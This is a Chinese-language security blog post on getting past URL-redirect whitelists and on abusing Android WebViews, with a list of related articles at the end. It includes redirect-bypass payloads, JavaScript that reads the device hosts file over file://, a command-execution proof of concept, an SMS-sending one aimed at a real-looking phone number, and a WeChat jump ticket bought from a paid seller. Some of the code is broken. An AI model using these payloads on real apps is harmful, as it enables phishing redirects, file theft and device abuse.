学习信息安全技术的过程中,用开阔的眼光看待安全问题会得到不同的结论。

在一次测试中我用Burpsuite搜索了关键词url找到了某处url,测试一下发现waf拦截了指向外域的请求,于是开始尝试绕过。第一个测试的url是:

https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com

打开成功跳转以为会跳转成功,但是baidu.com是在白名单的,所以只能想办法去绕过它,经过几次绕过后发现

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io可以跳转成功,于是我觉得有必要总结一下url的跳转绕过思路,分享给大家!

@绕过

这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转,下面是跳转的内容:

问号绕过

可以使用Referer的比如https://baidu.com,可以https://任意地址/?baidu.com

锚点绕过

利用#会被浏览器解释成HTML中的锚点:http://127.0.0.1/#qq.com

xip.io绕过

http://www.baidu.com.127.0.0.1.xip.io/,这样之后会访问127.0.0.1

How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and
sends it back in the response.

在公网上运行自定义的DNS服务器,用它的服务器提取IP地址,在响应中将它取回。反斜杠绕过

这次测试中也是使用了这种思路:

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io

IP绕过

把目标的URL修改成IP地址,这样也有可能绕过waf的拦截。

chrome浏览器特性

http://baidu.com
http://baidu.com
//baidu.com
http:\//baidu.com

这样的都会跳转到百度

1、URL跳转到Webview安全问题

这次的漏洞在手机上测试时发现利用APP url Schema也就是

xxxx://app/webview?url=xxxxxxx

其实这里的任意Webview跳转已经构成漏洞了,但是我想更加深入一下,请看下面的案例。

案例

我们先用file://协议读取一下测试文件试一下:

可以看到成功读取了手机的敏感host文件,但不是只要读取成功就能完成利用的,我们还需要设计到发送并读取。

这边我又测试了一下JavaScript的情况,发现开启,在vps上搭建一下利用代码。

<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp; //定义XMLHttpRequest对象
function createXmlHttpRequestObject(){
//如果在internet Explorer下运行
if(window.ActiveXObject){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
xmlHttp=false;
}
}else{
//如果在Mozilla或其他的浏览器下运行
try{
xmlHttp=new XMLHttpRequest();
}catch(e){
xmlHttp=false;
}
}
//返回创建的对象或显示错误信息
if(!xmlHttp)
alert("error");
else
return xmlHttp;
}
function ReqHtml(){
createXmlHttpRequestObject();
path='file://'
path1='/system/etc/hosts'
xmlHttp.onreadystatechange=StatHandler; //判断URL调用的状态值并处理
xmlHttp.open("GET",path+path1,false); //调用test.txt
xmlHttp.send(null)
alert(1)
}
function StatHandler(){
if(xmlHttp.readyState==4 && xmlHttp.status==200){
document.getElementById("webpage").innerHTML=xmlHttp.responseText;
alert(xmlHttp.responseText)
}
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>

在app上测试一下发现不成功,之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法只好放弃。

虽然这个应用绕不过,我们可以mark一点姿势。

Ps:很多代码都是手码的没写过JS,所以可能会有一些错误不要见怪。

<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>

这个是执行命令的poc

<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>

2、更换目标

这是我想到了weixin的协议,weixin://看了官方的文档之后我发现了微信支持如下操作:

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

经过一番查找后,找到了能够跳转的方法:weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx。

那么这个ticket哪里来呢?

我在t00ls上看到一篇同样关于这个微信协议的分析,百度了一下找到了这个地址:

我们注册并登陆尝试一下跳转:

果然还是收费,因为写文章的时候比较早,他们可能没有上班所以就换个地方找一下:

我们加一下这个客服的qq:

正如我想象的那样:

weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4

手机打开测试一下网页:

成功打开微信并跳转,以上内容大家看懂了吗?

浅谈URL跳转与Webview安全的更多相关文章

  1. URL跳转与webview安全浅谈

    URL跳转与webview安全浅谈 我博客的两篇文章拼接在一起所以可能看起来有些乱 起因 在一次测试中我用burpsuite搜索了关键词url找到了某处url我测试了一下发现waf拦截了指向外域的请求 ...

  2. 浅谈URL重定向

    转载:https://blog.csdn.net/kiyoometal/article/details/90698761 重定向原理 HTTP 协议的重定向响应的状态码为 3xx .浏览器在接收到重定 ...

  3. android端,webview内url跳转到app本地

    这是和一个前端同事沟通. app内嵌入他的web页,要通过web页内的url跳转到app的详细内容. 他的android同事,没有思路. 其实嵌入web页,用的webview控件,只要能找到webvi ...

  4. WebView加载URL跳转到系统浏览器的解决方法

    1.问题 webview加载url跳转到系统浏览器,用户体验非常的差 2.解决方法 重写WebViewClient的shouldOverrideUrlLoading(WebView view, Str ...

  5. 浅谈Hybrid技术的设计与实现第三弹——落地篇

    前言 接上文:(阅读本文前,建议阅读前两篇文章先) 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 根据之前的介绍,大家对前端与Native的交互应该有一些简单的认识了,很多 ...

  6. 浅谈Hybrid技术的设计与实现第二弹

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...

  7. 浅谈Hybrid技术的设计与实现

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 随着移动浪潮的兴起,各种APP层出不穷,极速的业务扩展提升了团队对开发 ...

  8. (转)浅谈Hybrid技术的设计与实现

    转载地址:https://www.cnblogs.com/yexiaochai/p/4921635.html 前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hyb ...

  9. 【微信小程序项目实践总结】30分钟从陌生到熟悉 web app 、native app、hybrid app比较 30分钟ES6从陌生到熟悉 【原创】浅谈内存泄露 HTML5 五子棋 - JS/Canvas 游戏 meta 详解,html5 meta 标签日常设置 C#中回滚TransactionScope的使用方法和原理

    [微信小程序项目实践总结]30分钟从陌生到熟悉 前言 我们之前对小程序做了基本学习: 1. 微信小程序开发07-列表页面怎么做 2. 微信小程序开发06-一个业务页面的完成 3. 微信小程序开发05- ...

随机推荐

  1. ffmpeg 在windows 上编译

    我在网上看到了一些资料,但是很多都不怎么全,而且 总会碰到这样或那样的问题,下面是我的一些经验,分享一下,当然也参考了大侠们的东西呵呵! 环境: OS:windows mingw +yasm+fmpe ...

  2. javamail接收邮件(zt)

    zt from:http://xiangzhengyan.iteye.com/blog/85961 import <a href="http://lib.csdn.net/base/j ...

  3. Eclipse+Resin开发环境迁移中发生的一些问题

    换新机器了,系统也从XP升级到64位WIn7.某些旧工具直接无法用了.下面简单谈一下标题的内容 1.非泛型的容器类引入在JDK1.7以下编译好像已经不行了.比如Java.util.ArrayList这 ...

  4. 使用Node.js完成的第一个项目的实践总结

    http://blog.csdn.net/yanghua_kobe/article/details/17199417 项目简介 这是一个资产管理项目,主要的目的就是实现对资产的无纸化管理.通过为每个资 ...

  5. unity零基础开始学习做游戏(四)biu~biu~biu发射子弹打飞机

    -------小基原创,转载请给我一个面子 主角都能移动了,那不得做点什么伸张正义,守护世界和平的事嘛,拿起家伙biu~biu~biu~ 首先得做一个好人和一个坏人 老规矩,Canvas下创建两个Im ...

  6. 在UltraEdit中如何像NotePad++一样实现双击单词在全文中高亮

    NotePad++中有个功能特别好用,就是双击某个单词,这个单词就会在全文档中高亮,如下图 我经常用UltraEdit,结果是UE中没有这个功能,这么实用的功能居然没有? 没关系,在UE中shift+ ...

  7. unix中的rm,rmdir的使用

    一.rm的使用 1.基本用法:用于删除文件 rm filename 2.可加属性值 (1)-v rm -v filename 作用:提示删除的情况 (2)-f  rm -f filename 作用:删 ...

  8. Windows下Oracle的下载与安装

    一.Oracle下载 官网地址:http://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html 百 ...

  9. Spring Boot 快速入门笔记

    Spirng boot笔记 简介 Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发 ...

  10. 功能强大的swagger-editor的介绍与使用

    一.Swagger Editor简介 Swagger Editor是一个开源的编辑器,并且它也是一个基于Angular的成功案例.在Swagger Editor中,我们可以基于YAML等语法定义我们的 ...